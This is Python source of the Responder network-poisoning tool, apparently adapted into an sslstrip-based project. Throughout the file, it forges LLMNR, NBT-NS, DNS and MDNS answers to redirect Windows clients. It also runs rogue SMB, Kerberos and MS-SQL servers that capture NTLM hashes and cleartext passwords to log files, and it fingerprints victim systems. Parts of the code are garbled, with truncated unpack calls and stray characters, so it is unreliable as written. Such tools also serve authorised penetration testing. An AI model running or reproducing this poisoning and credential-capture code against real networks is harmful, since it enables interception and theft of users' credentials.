#! /usr/bin/env python # NBT-NS/LLMNR Responder # Created by Laurent Gaffie # Copyright (C) 2014 Trustwave Holdings, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys,struct,SocketServer,re,socket,thread,Fingerprint,random,os,BaseHTTPServer, select,urlparse,zlib, string, time from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer from Fingerprint import RunSmbFinger,OsNameClientVersion from odict import OrderedDict from socket import inet_aton from random import randrange from libs.sslstrip.DnsCache import DnsCache def IsOsX(): Os_version = sys.platform if Os_version == "darwin": return True else: return False def OsInterfaceIsSupported(INTERFACE): if INTERFACE != "Not set": if IsOsX(): return False else: return True if INTERFACE == "Not set": return False def Analyze(AnalyzeMode): if AnalyzeMode == True: return True else: return False #Logger #CommandLine = str(sys.argv) import logging #logging.basicConfig(filename="./logs/" + SessionLog, level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') #StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine) #logging.warning(StartMessage) Log2Filename = "./logs/LLMNR-NBT-NS.log" logger2 = logging.getLogger('LLMNR/NBT-NS') logger2.addHandler(logging.FileHandler(Log2Filename,'a')) AnalyzeFilename = "./logs/Analyze-LLMNR-NBT-NS.log" logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a')) #Function used to write captured hashs to a file. def WriteData(outfile,data, user): if os.path.isfile(outfile) == False: with open(outfile,"w") as outf: outf.write(data) outf.write("\n") outf.close() if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return False if re.search(re.escape("$"), user): filestr.close() return False else: with open(outfile,"a") as outf2: outf2.write(data) outf2.write("\n") outf2.close() def PrintData(outfile,user): if Verbose == True: return True if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return False if re.search(re.escape("$"), user): filestr.close() return False else: return True else: return True def PrintLLMNRNBTNS(outfile,Message): if Verbose == True: return True if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: if re.search(re.escape(Message), filestr.read()): filestr.close() return False else: return True else: return True #Packet class handling all packet generation (see odict.py). class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) #Function name self-explanatory def Is_Finger_On(Finger_On_Off): if Finger_On_Off == True: return True if Finger_On_Off == False: return False def RespondToSpecificHost(RespondTo): if len(RespondTo)>=1 and RespondTo != ['']: return True else: return False def RespondToSpecificName(RespondToName): if len(RespondToName)>=1 and RespondToName != ['']: return True else: return False def RespondToIPScope(RespondTo, ClientIp): if ClientIp in RespondTo: return True else: return False def RespondToNameScope(RespondToName, Name): if Name in RespondToName: return True else: return False ##Dont Respond to these hosts/names. def DontRespondToSpecificHost(DontRespondTo): if len(DontRespondTo)>=1 and DontRespondTo != ['']: return True else: return False def DontRespondToSpecificName(DontRespondToName): if len(DontRespondToName)>=1 and DontRespondToName != ['']: return True else: return False def DontRespondToIPScope(DontRespondTo, ClientIp): if ClientIp in DontRespondTo: return True else: return False def DontRespondToNameScope(DontRespondToName, Name): if Name in DontRespondToName: return True else: return False ################################################################################## #NBT NS Stuff ################################################################################## #NBT-NS answer packet. class NBT_Ans(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x85\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("NbtName", ""), ("Type", "\x00\x20"), ("Classy", "\x00\x01"), ("TTL", "\x00\x00\x00\xa5"), ("Len", "\x00\x06"), ("Flags1", "\x00\x00"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["NbtName"] = data[12:46] self.fields["IP"] = inet_aton(OURIP) def NBT_NS_Role(data): Role = { "\x41\x41\x00":"Workstation/Redirector Service.", "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", "\x42\x4d\x00":"Domain controller service. This name is a domain controller.", "\x42\x4e\x00":"Local Master Browser.", "\x42\x4f\x00":"Browser Election Service.", "\x43\x41\x00":"File Server Service.", "\x41\x42\x00":"Browser Service.", } if data in Role: return Role[data] else: return "Service not known." # Define what are we answering to. def Validate_NBT_NS(data,Wredirect): if Analyze(AnalyzeMode): return False if NBT_NS_Role(data[43:46]) == "File Server Service.": return True if NBTNSDomain == True: if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": return True if Wredirect == True: if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": return True else: return False def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. try: if len(nbname) != 32: return nbname l = [] for i in range(0, 32, 2): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) except: return "Illegal NetBIOS name" # NBT_NS Server class. class NB(BaseRequestHandler): def handle(self): data, socket = self.request Name = Decode_Name(data[13:45]) if DontRespondToSpecificHost(DontRespondTo): if RespondToIPScope(DontRespondTo, self.client_address[0]): return None if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): return None if Analyze(AnalyzeMode): if data[2:4] == "\x01\x10": if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) Message = "%s [Analyze mode: NBT-NS] OS: %s Client Version: %s is looking for: %s Service requested is: %s"%(self.client_address[0], Finger[0], Finger[1], Name, NBT_NS_Role(data[43:46])) logger3.warning(Message) except Exception: Message = "%s [Analyze mode: NBT-NS] is looking for : %s Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) logger3.warning(Message) if PrintLLMNRNBTNS(AnalyzeFilename,Message): #print Message logger3.warning(Message) else: Message = "%s [Analyze mode: NBT-NS] is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) if PrintLLMNRNBTNS(AnalyzeFilename,Message): #print Message logger3.warning(Message) logger3.warning(Message) if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False: if RespondToIPScope(RespondTo, self.client_address[0]): if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect): if RespondToSpecificName(RespondToName) == False: DnsCache.getInstance().setCustomRes(Name.lower()) buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) #print '[+] OsVersion is:%s'%(Finger[0]) #print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('OsVersion is:%s'%(Finger[0])) logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): DnsCache.getInstance().setCustomRes(Name.lower()) buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) #print '[+] OsVersion is:%s'%(Finger[0]) #print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('OsVersion is:%s'%(Finger[0])) logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass else: pass else: if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): DnsCache.getInstance().setCustomRes(Name.lower()) buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) #print '[+] OsVersion is:%s'%(Finger[0]) p#rint '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('OsVersion is:%s'%(Finger[0])) logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: DnsCache.getInstance().setCustomRes(Name.lower()) buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) #print '[+] OsVersion is:%s'%(Finger[0]) #print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('OsVersion is:%s'%(Finger[0])) logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass ################################################################################## #Browser Listener and Lanman Finger ################################################################################## from RAPLANMANPackets import * def WorkstationFingerPrint(data): Role = { "\x04\x00" :"Windows 95", "\x04\x10" :"Windows 98", "\x04\x90" :"Windows ME", "\x05\x00" :"Windows 2000", "\x05\x00" :"Windows XP", "\x05\x02" :"Windows 2003", "\x06\x00" :"Windows Vista/Server 2008", "\x06\x01" :"Windows 7/Server 2008R2", } if data in Role: return Role[data] else: return False def PrintServerName(data, entries): if entries == 0: pass else: entrieslen = 26*entries chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] l =[] for x in ServerName: if WorkstationFingerPrint(x[16:18]): l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18]))) else: l.append(x[:16].replace('\x00', '')) return l def ParsePacket(Payload): PayloadOffset = struct.unpack(' 260: SSPIStart = data[79:] LMhashLen = struct.unpack(' 260: SSPIStart = data[79:] LMhashLen = struct.unpack(' 60: outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack(' 25: Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] logging.warning('SMB-NTLMv2 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() if PrintData(outfile,Username+"::"+Domain): logging.warning("SMB-NTLMv2 hash captured from :",client) logging.warning("SMB-NTLMv2 complete hash is :",Writehash) ParseShare(data) WriteData(outfile,Writehash, Username+"::"+Domain) logging.warning('SMB-NTLMv2 complete hash is :%s'%(Writehash)) if NthashLen == 24: logging.warning('SMB-NTLMv1 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal if PrintData(outfile,Username+"::"+Domain): logging.warning("SMB-NTLMv1 hash captured from : ",client) logging.warning("SMB complete hash is :", writehash) ParseShare(data) WriteData(outfile,writehash, Username+"::"+Domain) logging.warning('SMB-NTLMv1 complete hash is :%s'%(writehash)) logging.warning('SMB-NTLMv1 Username:%s'%(Username)) logging.warning('SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) except Exception: raise def IsNT4ClearTxt(data): HeadLen = 36 Flag2 = data[14:16] if Flag2 == "\x03\x80": SmbData = data[HeadLen+14:] WordCount = data[HeadLen] ChainedCmdOffset = data[HeadLen+1] if ChainedCmdOffset == "\x75": PassLen = struct.unpack(' 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") #print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) #SMB Server class, NTLMSSP class SMB1(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(1) ##session request 139 if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": #Customize SMB answer. head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) t.calculate() final = t packet0 = str(head)+str(final) buffer0 = longueur(packet0)+packet0 self.request.send(buffer0) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": IsNT4ClearTxt(data) head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(4096) if data[8:10] == "\x73\x00": if Is_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. final = SMBSessEmpty() packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) else: ParseSMBHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = SMBSession2Accept() final.calculate() packet2 = str(head)+str(final) buffer2 = longueur(packet2)+packet2 self.request.send(buffer2) data = self.request.recv(1024) ##Tree Connect IPC Answer if data[8:10] == "\x75\x00": ParseShare(data) head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) t = SMBTreeData() t.calculate() final = t packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Tree Disconnect. if data[8:10] == "\x71\x00": head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##NT_CREATE Access Denied. if data[8:10] == "\xa2\x00": head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Trans2 Access Denied. if data[8:10] == "\x25\x00": head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##LogOff. if data[8:10] == "\x74\x00": head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) final = "\x02\xff\x00\x27\x00\x00\x00" packet1 = str(head)+str(final) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) except Exception: pass #no need to print errors.. #SMB Server class, old version. class SMB1LM(BaseRequestHandler): def handle(self): try: self.request.settimeout(0.5) data = self.request.recv(1024) ##session request 139 if data[0] == "\x81": buffer0 = "\x82\x00\x00\x00" self.request.send(buffer0) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": if Is_LMNT_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) packet1 = str(head)+str(SMBSessEmpty()) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) else: ParseLMNTHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) packet1 = str(head)+str(SMBSessEmpty()) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(1024) except Exception: self.request.close() pass ################################################################################## #Kerberos Server ################################################################################## def ParseMSKerbv5TCP(Data): MsgType = Data[21:22] EncType = Data[43:44] MessageType = Data[32:33] if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": HashLen = struct.unpack(' 60: DomainLen = struct.unpack('H',Data[2:4])[0] EncryptionValue = Data[PacketLen-7:PacketLen-6] if re.search("NTLMSSP",Data): return True else: return False #MS-SQL server class. class MSSQL(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(0.1) ##Pre-Login Message if data[0] == "\x12": buffer0 = str(MSSQLPreLoginAnswer()) self.request.send(buffer0) data = self.request.recv(1024) ##NegoSSP if data[0] == "\x10": if re.search("NTLMSSP",data): t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) t.calculate() buffer1 = str(t) self.request.send(buffer1) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) ##NegoSSP Auth if data[0] == "\x11": ParseSQLHash(data,self.client_address[0]) except Exception: pass self.request.close() ################################################################################## #LLMNR Stuff ################################################################################## #LLMNR Answer packet. class LLMNRAns(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x00"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionNameLen", "\x09"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerNameLen", "\x09"), ("AnswerName", ""), ("AnswerNameNull", "\x00"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self): self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] def Parse_LLMNR_Name(data): NameLen = struct.unpack('>B',data[12])[0] Name = data[13:13+NameLen] return Name def Parse_IPV6_Addr(data): if data[len(data)-4:len(data)][1] =="\x1c": return False if data[len(data)-4:len(data)] == "\x00\x01\x00\x01": return True if data[len(data)-4:len(data)] == "\x00\xff\x00\x01": return True else: return False def IsOnTheSameSubnet(ip, net): net = net+'/24' ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) netstr, bits = net.split('/') netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) mask = (0xffffffff << (32 - int(bits))) & 0xffffffff return (ipaddr & mask) == (netaddr & mask) def IsICMPRedirectPlausible(IP): dnsip = [] for line in file('/etc/resolv.conf', 'r'): ip = line.split() if len(ip) < 2: continue if ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: print "| |_ [Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (%s) is not on the same subnet than the DNS server (%s). Use python Icmp-Redirect.py for more details."%(IP, x) else: pass def FindLocalIP(Iface): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') s.connect(("127.0.0.1",9))#RFC 863 return s.getsockname()[0] def AnalyzeICMPRedirect(): if Analyze(AnalyzeMode) and OURIP is not None and INTERFACE == 'Not set': IsICMPRedirectPlausible(OURIP) if Analyze(AnalyzeMode) and INTERFACE != 'Not set': IsICMPRedirectPlausible(FindLocalIP(INTERFACE)) # LLMNR Server class. class LLMNR(BaseRequestHandler): def handle(self): data, soc = self.request try: if data[2:4] == "\x00\x00": if Parse_IPV6_Addr(data): Name = Parse_LLMNR_Name(data) if Analyze(AnalyzeMode): if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) Message = "%s [Analyze mode: LLMNR] OS: %s Client Version: %s is looking for : %s"%(self.client_address[0],Finger[0],Finger[1],Name) logger3.warning(Message) except Exception: Message = "%s [Analyze mode: LLMNR] is looking for : %s."%(self.client_address[0], Name) logger3.warning(Message) if PrintLLMNRNBTNS(AnalyzeFilename,Message): logger3.warning(Message) else: Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) if PrintLLMNRNBTNS(AnalyzeFilename,Message): logger3.warning(Message) if DontRespondToSpecificHost(DontRespondTo): if RespondToIPScope(DontRespondTo, self.client_address[0]): return None if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): return None if RespondToSpecificHost(RespondTo): if Analyze(AnalyzeMode) == False: if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) #print '[+] OsVersion is:%s'%(Finger[0]) #print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('OsVersion is:%s'%(Finger[0])) logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) #print '[+] OsVersion is:%s'%(Finger[0]) #print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('OsVersion is:%s'%(Finger[0])) logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): soc.sendto(str(buff), self.client_address) if PrintLLMNRNBTNS(Log2Filename,Message): #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) #print '[+] OsVersion is:%s'%(Finger[0]) #print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('OsVersion is:%s'%(Finger[0])) logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): soc.sendto(str(buff), self.client_address) if PrintLLMNRNBTNS(Log2Filename,Message): #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) #print '[+] OsVersion is:%s'%(Finger[0]) #print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('OsVersion is:%s'%(Finger[0])) logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass else: pass except: raise ################################################################################## #DNS Stuff ################################################################################## def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. return True else: return False #DNS Answer packet. class DNSAns(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x10"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerPointer", "\xc0\x0c"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) # DNS Server class. class DNS(BaseRequestHandler): def handle(self): data, soc = self.request if self.client_address[0] == "127.0.0.1": pass elif ParseDNSType(data): buff = DNSAns() buff.calculate(data) soc.sendto(str(buff), self.client_address) #print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) class DNSTCP(BaseRequestHandler): def handle(self): try: data = self.request.recv(1024) if self.client_address[0] == "127.0.0.1": pass elif ParseDNSType(data): buff = DNSAns() buff.calculate(data) self.request.send(str(buff)) #print "DNS Answer sent to: %s "%(self.client_address[0]) logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) except Exception: pass ################################################################################## #MDNS Stuff ################################################################################## class MDNSAns(Packet): fields = OrderedDict([ ("Tid", "\x00\x00"), ("Flags", "\x84\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("AnswerName", ""), ("AnswerNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self): self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) def Parse_MDNS_Name(data): data = data[12:] NameLen = struct.unpack('>B',data[0])[0] Name = data[1:1+NameLen] 